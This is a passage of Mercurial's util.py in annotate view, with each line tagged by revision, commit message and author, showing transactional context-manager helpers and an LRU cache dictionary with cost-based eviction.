c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1288 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1289 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1290
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1291
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1292 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1293 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1294
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1295 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1296 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1297
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1298
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1299 class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1300 """Base class for making a transactional type into a context manager."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1301
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1302 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1303
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1304 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1305 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1306 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1307
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1308 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1309 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1310 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1311
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1312 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1313 """
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1314
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1315 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1316 return self
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1317
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1318 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1319 try:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1320 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1321 self.close()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1322 finally:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1323 self.release()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1324
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1325
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1326 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1327 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1328 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1329
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1330 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1331 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1332 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1333 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1334 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1335 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1336 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1337 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1338 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1339 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1340 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1341 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1342 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1343
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1344
33691 609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1345 @contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1346 def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1347 yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1348
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1349
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1350 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1351 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1352
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1353 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1354 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1355 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1356
41836 ae189674bdad global: use raw strings for __slots__ Gregory Szorc <gregory.szorc@gmail.com> parents: 41406 diff changeset	1357 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1358
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1359 def __init__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1360 self.next = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1361 self.prev = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1362
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1363 self.key = _notset
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1364 self.value = None
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1365 self.cost = 0
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1366
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1367 def markempty(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1368 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1369 self.key = _notset
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1370 self.value = None
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1371 self.cost = 0
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1372
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1373
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1374 class lrucachedict(object):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1375 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1376
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1377 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1378 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1379 the cache.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1380
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1381 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1382 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1383 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1384 new head node.
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1385
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1386 Items in the cache can be inserted with an optional "cost" value. This is
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1387 simply an integer that is specified by the caller. The cache can be queried
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1388 for the total cost of all items presently in the cache.
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1389
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1390 The cache can also define a maximum cost. If a cache insertion would
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1391 cause the total cost of the cache to go beyond the maximum cost limit,
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1392 nodes will be evicted to make room for the new code. This can be used
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1393 to e.g. set a max memory limit and associate an estimated bytes size
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1394 cost to each item in the cache. By default, no maximum cost is enforced.
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1395 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1396
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1397 def __init__(self, max, maxcost=0):
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1398 self._cache = {}
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1399
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1400 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1401 head.prev = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1402 head.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1403 self._size = 1
39580 5d75a3c16193 util: make capacity a public attribute on lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39579 diff changeset	1404 self.capacity = max
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1405 self.totalcost = 0
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1406 self.maxcost = maxcost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1407
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1408 def __len__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1409 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1410
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1411 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1412 return k in self._cache
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1413
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1414 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1415 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1416 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1417 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1418 yield n.key
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1419 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1420
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1421 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1422 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1423 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1424 return node.value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1425
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1426 def insert(self, k, v, cost=0):
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1427 """Insert a new item in the cache with optional cost value."""
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1428 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1429 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1430 if node is not None:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1431 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1432 node.value = v
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1433 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1434 self.totalcost += cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1435 self._movetohead(node)
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1436
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1437 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1438 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1439
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1440 return
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1441
39580 5d75a3c16193 util: make capacity a public attribute on lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39579 diff changeset	1442 if self._size < self.capacity:
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1443 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1444 else:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1445 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1446 node = self._head.prev
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1447
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1448 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1449 if node.key is not _notset:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1450 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1451 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1452
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1453 node.key = k
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1454 node.value = v
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1455 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1456 self.totalcost += cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1457 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1458 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1459 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1460 self._head = node
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1461
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1462 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1463 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1464
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1465 def __setitem__(self, k, v):
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1466 self.insert(k, v)
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1467
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1468 def __delitem__(self, k):
40898 7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1469 self.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1470
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1471 def pop(self, k, default=_notset):
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1472 try:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1473 node = self._cache.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1474 except KeyError:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1475 if default is _notset:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1476 raise
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1477 return default
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1478 value = node.value
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1479 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1480 node.markempty()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1481
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1482 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1483 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1484 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1485 self._head = node.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1486
40898 7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1487 return value
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1488
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1489 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1490
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1491 def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1492 try:
39587 8f2c0d1b454c util: update lrucachedict order during get() Gregory Szorc <gregory.szorc@gmail.com> parents: 39586 diff changeset	1493 return self.__getitem__(k)
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1494 except KeyError:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1495 return default
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1496
40897 0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1497 def peek(self, k, default=_notset):
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1498 """Get the specified item without moving it to the head
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1499
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1500 Unlike get(), this doesn't mutate the internal state. But be aware
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1501 that it doesn't mean peek() is thread safe.
0c638ff69f5c util: add method to peek item in lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40728 diff changeset	1502 """
